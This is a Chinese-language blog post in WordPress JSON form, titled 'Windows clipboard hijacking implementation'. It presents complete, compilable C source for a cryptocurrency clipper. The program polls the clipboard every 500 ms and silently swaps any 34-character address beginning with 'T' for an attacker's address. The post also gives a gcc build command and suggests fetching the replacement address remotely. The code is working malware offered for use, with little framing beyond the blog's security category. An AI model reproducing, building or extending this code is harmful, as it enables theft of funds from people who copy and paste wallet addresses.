{"id":585,"date":"2025-06-11T20:40:04","date_gmt":"2025-06-11T12:40:04","guid":{"rendered":"https:\/\/ahui.blog\/?p=585"},"modified":"2025-06-11T20:40:04","modified_gmt":"2025-06-11T12:40:04","slug":"windows%e7%ab%af%e5%89%aa%e8%b4%b4%e6%9d%bf%e5%8a%ab%e6%8c%81%e5%ae%9e%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/ahui.blog\/index.php\/2025\/06\/11\/windows%e7%ab%af%e5%89%aa%e8%b4%b4%e6%9d%bf%e5%8a%ab%e6%8c%81%e5%ae%9e%e7%8e%b0\/","title":{"rendered":"Windows\u7aef\u526a\u8d34\u677f\u52ab\u6301\u5b9e\u73b0"},"content":{"rendered":"<h2>\u793a\u4f8b<\/h2>\n<p>\u5e38\u89c1\u7684\u526a\u8d34\u677f\u52ab\u6301\u865a\u62df\u8d27\u5e01\u94b1\u5305\u5730\u5740<\/p>\n<h4>\u4e00\u3001C\u6e90\u7801<\/h4>\n<pre><code class=\"language-c\">#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;ctype.h&gt;\n\n#define TARGET_STRING &quot;6666666666666666666666666666666666&quot;\n\n\/\/ \u68c0\u67e5\u5b57\u7b26\u4e32\u662f\u5426\u5339\u914d\u76ee\u6807\u6a21\u5f0f\nint is_match(const char *str) {\n    if (strlen(str) != 34 || str[0] != &#039;T&#039;) {\n        return 0;\n    }\n\n    return 1;\n}\n\n\/\/ \u8bbe\u7f6e\u526a\u8d34\u677f\u5185\u5bb9\nvoid set_clipboard_content(const char *content) {\n    if (OpenClipboard(NULL)) {\n        EmptyClipboard();\n\n        size_t len = strlen(content) + 1;\n        HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);\n        if (hMem) {\n            memcpy(GlobalLock(hMem), content, len);\n            GlobalUnlock(hMem);\n            SetClipboardData(CF_TEXT, hMem);\n        }\n\n        CloseClipboard();\n    }\n}\n\n\/\/ \u83b7\u53d6\u526a\u8d34\u677f\u5185\u5bb9\nchar *get_clipboard_content() {\n    if (!OpenClipboard(NULL)) {\n        return NULL;\n    }\n\n    HANDLE hData = GetClipboardData(CF_TEXT);\n    if (!hData) {\n        CloseClipboard();\n        return NULL;\n    }\n\n    char *clipboard_data = GlobalLock(hData);\n    char *result = clipboard_data ? _strdup(clipboard_data) : NULL;\n    GlobalUnlock(hData);\n    CloseClipboard();\n\n    return result;\n}\n\n\/\/ Windows \u5e94\u7528\u7a0b\u5e8f\u5165\u53e3\u70b9\nint APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {\n    char *clipboard_data = NULL;\n\n    while (1) {\n        Sleep(500); \/\/ \u8f6e\u8be2\u95f4\u9694 500ms\n\n        char *new_data = get_clipboard_content();\n        if (new_data &amp;&amp; (!clipboard_data || strcmp(new_data, clipboard_data) != 0)) {\n            if (is_match(new_data)) {\n                set_clipboard_content(TARGET_STRING);\n            }\n            free(clipboard_data);\n            clipboard_data = new_data;\n        } else {\n            free(new_data);\n        }\n    }\n\n    free(clipboard_data);\n    return 0; \/\/ \u786e\u4fdd\u4e3b\u51fd\u6570\u6b63\u5e38\u7ed3\u675f\n}\n<\/code><\/pre>\n<h4>\u6253\u5305<\/h4>\n<p><code>gcc test.c -o test.exe<\/code><\/p>\n<h4>\u6269\u5c55<\/h4>\n<p>\u53ef\u4ee5\u5c06TARGET_STRING\u6269\u5c55\u4e3a\u901a\u8fc7\u4e91\u7aef\u8fdc\u7a0b\u83b7\u53d6\u6307\u5b9a\u5b57\u7b26\u4e32<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u793a\u4f8b \u5e38\u89c1\u7684\u526a\u8d34\u677f\u52ab\u6301\u865a\u62df\u8d27\u5e01\u94b1\u5305\u5730\u5740 \u4e00\u3001C\u6e90\u7801 #include &lt;windows.h&gt; #i &#8230; <a title=\"Windows\u7aef\u526a\u8d34\u677f\u52ab\u6301\u5b9e\u73b0\" class=\"read-more\" href=\"https:\/\/ahui.blog\/index.php\/2025\/06\/11\/windows%e7%ab%af%e5%89%aa%e8%b4%b4%e6%9d%bf%e5%8a%ab%e6%8c%81%e5%ae%9e%e7%8e%b0\/\" aria-label=\"\u7ee7\u7eed\u9605\u8bfbWindows\u7aef\u526a\u8d34\u677f\u52ab\u6301\u5b9e\u73b0\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,14],"tags":[],"class_list":["post-585","post","type-post","status-publish","format-standard","hentry","category-security_gossip","category-safety_research"],"_links":{"self":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/585","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/comments?post=585"}],"version-history":[{"count":1,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/585\/revisions"}],"predecessor-version":[{"id":586,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/585\/revisions\/586"}],"wp:attachment":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/media?parent=585"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/categories?post=585"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/tags?post=585"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}